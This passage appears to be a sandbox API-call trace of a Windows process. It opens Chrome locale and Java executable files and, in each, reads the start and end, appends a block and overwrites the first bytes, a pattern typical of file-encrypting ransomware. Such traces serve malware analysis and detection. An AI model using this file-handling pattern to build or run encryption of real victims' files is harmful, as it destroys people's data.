(x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\he.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.459] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.459] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x5df23 [0047.459] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.459] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.459] ReleaseMutex (hMutex=0x128) returned 1 [0047.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="he.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="he.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="he.pak", lpUsedDefaultChar=0x0) returned 6 [0047.459] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.461] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5cf23 [0047.461] ReadFile (in: hFile=0x1d4, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.462] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5cf23 [0047.462] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da83d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.463] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.463] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.463] CloseHandle (hObject=0x1d4) returned 1 [0047.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.463] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.463] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x51fd0 [0047.463] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.464] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.464] ReleaseMutex (hMutex=0x128) returned 1 [0047.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lv.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lv.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lv.pak", lpUsedDefaultChar=0x0) returned 6 [0047.464] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.468] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x50fd0 [0047.468] ReadFile (in: hFile=0x1d4, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.480] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x50fd0 [0047.480] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da83d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.481] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.481] WriteFile (in: hFile=0x1d4, lpBuffer=0x3a47528*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a47528*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.481] CloseHandle (hObject=0x1d4) returned 1 [0047.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ru.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.481] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.481] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7e47b [0047.481] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.481] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.482] ReleaseMutex (hMutex=0x128) returned 1 [0047.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ru.pak", lpUsedDefaultChar=0x0) returned 6 [0047.482] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.513] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7d47b [0047.513] ReadFile (in: hFile=0x1d4, lpBuffer=0x280ec58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x280ec58*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.537] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7d47b [0047.538] WriteFile (in: hFile=0x1d4, lpBuffer=0x261b6a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.538] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.538] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.538] CloseHandle (hObject=0x1d4) returned 1 [0047.538] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\uk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7e1bc [0047.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.539] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.539] ReleaseMutex (hMutex=0x128) returned 1 [0047.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uk.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uk.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uk.pak", lpUsedDefaultChar=0x0) returned 6 [0047.539] ReadFile (in: hFile=0x1d4, lpBuffer=0x2613678, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.681] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7d1bc [0047.681] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.703] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7d1bc [0047.703] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c088*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c088*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.703] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.703] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.704] CloseHandle (hObject=0x1d4) returned 1 [0047.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.704] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.704] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1ef3 [0047.704] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.704] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.704] ReleaseMutex (hMutex=0x128) returned 1 [0047.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="smalllogo.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="smalllogo.png", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smalllogo.png", lpUsedDefaultChar=0x0) returned 13 [0047.704] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c088, nNumberOfBytesToRead=0x1ef3, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276c088*, lpNumberOfBytesRead=0x2a0f2bc*=0x1ef3, lpOverlapped=0x0) returned 1 [0047.724] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0047.724] WriteFile (in: hFile=0x1d4, lpBuffer=0x2803d58*, nNumberOfBytesToWrite=0x247b, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2803d58*, lpNumberOfBytesWritten=0x2a0f2d0*=0x247b, lpOverlapped=0x0) returned 1 [0047.724] CloseHandle (hObject=0x1d4) returned 1 [0047.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jabswitch.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.725] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.725] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xbba8 [0047.725] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.725] ReleaseMutex (hMutex=0x128) returned 1 [0047.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jabswitch.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jabswitch.exe", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jabswitch.exe", lpUsedDefaultChar=0x0) returned 13 [0047.725] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fdcf8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27fdcf8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0047.738] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xaba8 [0047.738] ReadFile (in: hFile=0x1d4, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.759] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xaba8 [0047.760] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.760] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.760] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da9408*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0047.760] CloseHandle (hObject=0x1d4) returned 1 [0047.761] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\klist.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.761] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.761] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3da8 [0047.761] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.761] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.761] ReleaseMutex (hMutex=0x128) returned 1 [0047.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="klist.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="klist.exe", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="klist.exe", lpUsedDefaultChar=0x0) returned 9 [0047.761] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da9408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.775] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2da8 [0047.775] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da9408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.782] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2da8 [0047.782] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.782] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.783] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da9408*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.783] CloseHandle (hObject=0x1d4) returned 1 [0047.783] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\unpack200.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.795] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.795] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x23ba8 [0047.795] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.795] ReleaseMutex (hMutex=0x128) returned 1 [0047.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="unpack200.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="unpack200.exe", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="unpack200.exe", lpUsedDefaultChar=0x0) returned 13 [0047.795] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.803] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x22ba8 [0047.803] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da9408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.823] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x22ba8 [0047.823] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dab438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab438*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.824] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.824] WriteFile (in: hFile=0x1d4, lpBuffer=0x27fdcf8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27fdcf8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.824] CloseHandle (hObject=0x1d4) returned 1 [0047.824] CreateFileW 